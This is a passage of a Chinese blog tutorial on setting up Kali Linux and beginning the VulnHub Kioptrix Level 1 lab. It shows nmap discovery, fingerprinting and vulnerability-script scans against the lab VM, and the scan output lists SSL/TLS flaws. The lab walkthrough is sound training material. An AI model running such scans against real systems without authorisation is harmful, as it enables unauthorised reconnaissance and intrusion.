 &gt;vimtutor&lt;/a&gt;和&lt;a class="link" href="https://www.vim.org/" target="_blank" rel="noopener"
 &gt;vim官方&lt;/a&gt;，或在终端输入&lt;code&gt;vimtutor&lt;/code&gt;查看官方指南。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123094247605" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123094247605.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/v2-274e2d406f2836aed2550e003416d93a_720w.png"&gt;&lt;/p&gt;
&lt;p&gt;然后在终端中更新镜像源并升级软件包。注意看源是否已经换成清华源。若你的网络对于清华源还是慢，可以参考&lt;a class="link" href="https://blog.csdn.net/ak450203619/article/details/142287625" target="_blank" rel="noopener"
 &gt;Kali 2024更换源（超详细，附国内优质镜像源地址）_kali换源&lt;/a&gt;选择其他源。更新升级会占用大量时间，但这是必须的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;apt upgrade
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123095450808" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123095450808.png"&gt;&lt;/p&gt;
&lt;p&gt;安装或更新完成后，会遗留一些软件的安装包，会占用部分硬盘空间，可使用下面的命令来对其进行清理&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;apt-get clean
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="设置锁屏时间为从不"&gt;设置锁屏时间为从不
&lt;/h4&gt;&lt;p&gt;不然经常切换应用后要输入&lt;code&gt;kali:kali&lt;/code&gt;登录。左键点击电池图标，选择设置，找到安全性，设置锁屏时间为从不（never）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123100601223" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123100601223.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123100539585" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123100539585.png"&gt;&lt;/p&gt;
&lt;h4 id="配置ssh服务"&gt;配置ssh服务
&lt;/h4&gt;&lt;p&gt;输入命令：&lt;code&gt;vim /etc/ssh/sshd_config&lt;/code&gt;
将下面的命令改为yes&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;PasswordAuthentication yes 密码验证改为yes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输入命令：&lt;code&gt;service ssh start&lt;/code&gt; 开启ssh服务
输入命令：&lt;code&gt;update-rc.d ssh enable&lt;/code&gt; 设置为开机自启动
不要忘记 &lt;code&gt;reboot&lt;/code&gt; （重启kali虚拟机）&lt;/p&gt;
&lt;p&gt;这样你就可以在虚拟机以外利用shell软件进行远程的访问。方便复制粘贴一些命令，有时候在kali中复制粘贴会有问题，然后就是截屏不方便。&lt;/p&gt;
&lt;p&gt;我个人是喜欢使用&lt;a class="link" href="https://mobaxterm.mobatek.net/download.html" target="_blank" rel="noopener"
 &gt;MobaXterm&lt;/a&gt;来作为我的shell而不是默认终端。关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day2&lt;/code&gt;获取镜像和相关软件。先在原本的kali中输入&lt;code&gt;ifconfig&lt;/code&gt;查看kali的网段，然后从mobaXterm中连接ssh登录kali即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123104231212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123104231212.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123104215087" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123104215087.png"&gt;&lt;/p&gt;
&lt;h4 id="汉化"&gt;汉化
&lt;/h4&gt;&lt;p&gt;我的建议是没有必要汉化，因为目前很多OSCP的资料还是英文的比较权威，汉化后不一定能一步一步找着英文教材对应的软件名字，还有一些细节的按钮。但是如果你实在觉得看着英文难受，觉得中文界面学习更方便的话，可以使用&lt;code&gt;dpkg-reconfigure locales&lt;/code&gt;命令选择按照汉化，然后重启，重启后会有提示框询问是否修改文件夹语言，记得一定要选择&lt;strong&gt;否&lt;/strong&gt;，&lt;strong&gt;保留旧的英文名称&lt;/strong&gt;，因为有一些安全工具，不支持中文路径，与其后期麻烦的改来改去纠结路径问题，不如全部保留英文路径。也建议在之后的学习中，保持起英文文件夹名字的习惯，用英文也好用拼音也好，总之要是英文字母的文件名。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123101649496" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123101649496.png"&gt;&lt;/p&gt;
&lt;p&gt;至此，一个基本的好用的Kali已经设置完毕，可以开始靶机练习了。&lt;/p&gt;
&lt;h2 id="kioptix-level-1-练习"&gt;Kioptix Level 1 练习
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-1-1,22/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/kioptrix-level-1-1,22/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250123105706538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105706538.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123105744760" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105744760.png"&gt;&lt;/p&gt;
&lt;h3 id="nmap扫描"&gt;Nmap扫描
&lt;/h3&gt;&lt;p&gt;输入&lt;code&gt;ifconfig&lt;/code&gt;查看kali本机的网段。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123104231212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123104231212.png"&gt;&lt;/p&gt;
&lt;p&gt;输入 &lt;code&gt;nmap -sn kali的ip/24&lt;/code&gt;探查网段，实战过程是通过vpn链接，进去后能查看网段。或 &lt;code&gt;nmap -p- kali的ip/24&lt;/code&gt;探查所有网段。
&lt;img alt="image-20250123105930933" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123105930933.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123110740538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123110740538.png"&gt;&lt;/p&gt;
&lt;p&gt;可以发现129有一个80端口，在kali浏览器中访问可以看到如下界面：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123110557441" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123110557441.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来探查端口指纹&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nmap 192.168.139.129 -p 22,80,111,139,443,1024 -sV -sC -O --version-al
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123111133960" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123111133960.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123111327130" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123111327130.png"&gt;&lt;/p&gt;
&lt;p&gt;然后用漏洞扫描&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script&lt;span class="o"&gt;=&lt;/span&gt;vuln
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;得到输出&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ nmap 192.168.139.129 -p 22,80,111,139,443,1024 --script=vuln
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 22:14 EST
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Stats: 0:00:06 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;NSE Timing: About 0.00% done
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report for 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Host is up (0.00025s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;|_http-trace: TRACE is enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;| http-enum:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;| /test.php: Test page
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;| /icons/: Potentially interesting directory w/ listing on &amp;#39;apache/1.3.20&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;| /manual/: Potentially interesting directory w/ listing on &amp;#39;apache/1.3.20&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;|_ /usage/: Potentially interesting folder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;111/tcp open rpcbind
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;443/tcp open https
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;| ssl-poodle:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;| SSL POODLE information leak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2014-3566 BID:70574
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;| products, uses nondeterministic CBC padding, which makes it easier
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;| for man-in-the-middle attackers to obtain cleartext data via a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;| padding-oracle attack, aka the &amp;#34;POODLE&amp;#34; issue.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2014-10-14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;| TLS_RSA_WITH_3DES_EDE_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;| https://www.imperialviolet.org/2014/10/14/poodle.html
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;| https://www.openssl.org/~bodo/ssl-poodle.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;|_ https://www.securityfocus.com/bid/70574
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;| ssl-dh-params:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;| Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;| IDs: CVE:CVE-2015-4000 BID:74733
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;| The Transport Layer Security (TLS) protocol contains a flaw that is
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;| triggered when handling Diffie-Hellman key exchanges defined with
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;| to downgrade the security of a TLS session to 512-bit export-grade
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;| cryptography, which is significantly weaker, allowing the attacker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;| to more easily break the encryption and monitor or tamper with
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;| the encrypted stream.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;| Disclosure date: 2015-5-19
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;| EXPORT-GRADE DH GROUP 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;| Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Type: Safe prime
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Length: 512
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;| Generator Length: 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;| Public Key Length: 512
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;| https://www.securityfocus.com/bid/74733
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;| https://weakdh.org
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;| Diffie-Hellman Key Exchange Insufficient Group Strength
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;| Transport Layer Security (TLS) services that use Diffie-Hellman groups
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;| of insufficient strength, especially those using one of a few commonly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;| shared groups, may be susceptible to passive eavesdropping attacks.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;| Check results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;| WEAK DH GROUP 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;| Cipher Suite: TLS_DHE_RSA_WITH_DES_CBC_SHA
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Type: Safe prime
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;| Modulus Length: 1024
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;| Generator Length: 8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;| Public Key Length: 1024
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;|_ https://weakdh.org
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;| ssl-ccs-injection:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;| SSL/TLS MITM vulnerability (CCS Injection)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;| State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;| Risk factor: High
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;| does not properly restrict processing of ChangeCipherSpec messages,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;| which allows man-in-the-middle attackers to trigger use of a zero
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;| length master key in certain OpenSSL-to-OpenSSL communications, and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;| consequently hijack sessions or obtain sensitive information, via
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;| a crafted TLS handshake, aka the &amp;#34;CCS Injection&amp;#34; vulnerability.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;| References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;| http://www.cvedetails.com/cve/2014-0224
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;| http://www.openssl.org/news/secadv_20140605.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
